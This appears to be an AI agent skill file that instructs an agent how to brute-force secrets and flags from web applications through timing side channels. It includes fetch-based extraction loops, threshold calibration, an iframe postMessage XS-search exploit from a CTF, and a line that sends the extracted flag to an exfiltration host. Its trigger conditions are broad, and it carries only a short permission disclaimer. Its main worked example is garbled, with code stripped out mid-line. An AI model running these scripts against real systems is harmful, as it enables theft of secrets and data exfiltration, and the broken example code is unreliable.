| name | timing-side-channel-attack |
| description | How to perform timing-based side-channel attacks using performance.now() to extract hidden data from web applications. Use this skill whenever you need to brute-force secrets, flags, or sensitive data by measuring response time differences. Trigger this when the user mentions timing attacks, performance.now, side-channel extraction, CTF challenges with time-based vulnerabilities, or any scenario where response time correlates with secret data. |
Timing Side-Channel Attacks with performance.now()
This skill teaches you how to exploit timing differences in web applications to extract secrets, flags, or sensitive data. When a server takes longer to respond for certain inputs (e.g., when a character matches), you can use performance.now() to measure these differences and brute-force the secret one character at a time.
When to Use This Technique
Use timing side-channel attacks when:
- You suspect a server performs character-by-character comparison of secrets
- Response times vary based on input correctness (even by milliseconds)
- You're solving CTF challenges with time-based vulnerabilities
- Traditional brute-force is blocked but timing information leaks
- The application uses functions like
strcmp, ===, or similar that short-circuit on mismatch
Core Concept
The attack works by:
- Sending a request with a partial guess (e.g.,
flag{a)
- Measuring the response time with
performance.now()
- If the time is significantly longer than baseline, the character was correct
- Append the correct character and repeat
- Continue until you've extracted the full secret
Basic Implementation Pattern
const sleep = (ms) => new Promise((res) => setTimeout(res, ms))
async function check(guess) {
let t1 = performance.now()
await sleep(1)
return performance.now() - t1 > THRESHOLD
}
Complete Example: CTF Flag Extraction
This example demonstrates extracting a flag from a vulnerable web application:
const sleep = (ms) => new Promise((res) => setTimeout(res, ms))
async function check(flag) {
let w = frame.contentWindow
w.postMessage(
{ op: "preview", payload: '<img name="enable_experimental_features">' },
"*"
)
await sleep(1)
w.postMessage({ op: "search", payload: flag }, "*")
let t1 = performance.now()
await sleep(1)
return performance.now() - t1 > 200
}
async function main() {
let alpha =
"abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
window.frame = document.createElement("iframe")
frame.width = "100%"
frame.height = "700px"
frame.src =
..(frame)
()
flag =
() {
( c alpha) {
result = .([
(flag + c),
(
( {
()
}, )
),
])
.(flag + c, result)
(result) {
flag += c
}
}
(). = + (flag)
}
}
.(, main)
Key Components Explained
1. Character Set Definition
let alpha = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
Define all possible characters in the order they might appear. Adjust based on the target's character set.
2. Timing Threshold
return performance.now() - t1 > 200
The threshold (200ms in this example) should be calibrated based on:
- Network latency baseline
- Server processing time variance
- The actual timing difference between correct/incorrect characters
3. Timeout Protection
Promise.race([
check(flag + c),
new Promise((res) => setTimeout(() => res(true), 300))
])
Prevents hanging on slow responses. Adjust timeout based on your threshold.
4. Progress Tracking
new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
Optional: Exfiltrate progress to avoid losing work if the page reloads.
Variations and Adaptations
HTTP Request Version
async function check(guess) {
let t1 = performance.now()
await fetch(`/api/verify?token=${guess}`)
let t2 = performance.now()
return t2 - t1 > THRESHOLD
}
AJAX/Fetch Version
async function check(guess) {
let t1 = performance.now()
const response = await fetch('/check', {
method: 'POST',
body: JSON.stringify({ input: guess })
})
await response.json()
let t2 = performance.now()
return t2 - t1 > THRESHOLD
}
With Baseline Calibration
async function calibrate() {
let times = []
for (let i = 0; i < 10; i++) {
let t1 = performance.now()
await fetch('/check?input=wrong')
times.push(performance.now() - t1)
}
return Math.max(...times) + 50
}
async function main() {
THRESHOLD = await calibrate()
}
Troubleshooting
Timing Too Noisy
- Increase sample size: measure multiple times and use median
- Add more delay between measurements
- Run during low-traffic periods
Attack Too Slow
- Reduce timeout values
- Parallelize character testing (if server allows)
- Narrow character set based on context
False Positives
- Increase threshold
- Require multiple confirmations before accepting a character
- Add baseline calibration
False Negatives
- Decrease threshold
- Check for server-side rate limiting
- Verify the timing difference actually exists
Security Considerations
- Only use on systems you own or have explicit permission to test
- This technique is commonly used in CTF competitions and authorized penetration testing
- Many modern applications use constant-time comparison functions to prevent this attack
- Consider the ethical implications before deploying
Related Techniques
- Blind SQL Injection: Similar character-by-character extraction
- Error-based attacks: Using error messages to extract data
- Race conditions: Exploiting timing in concurrent operations
- Cache timing attacks: Using cache hits/misses for timing information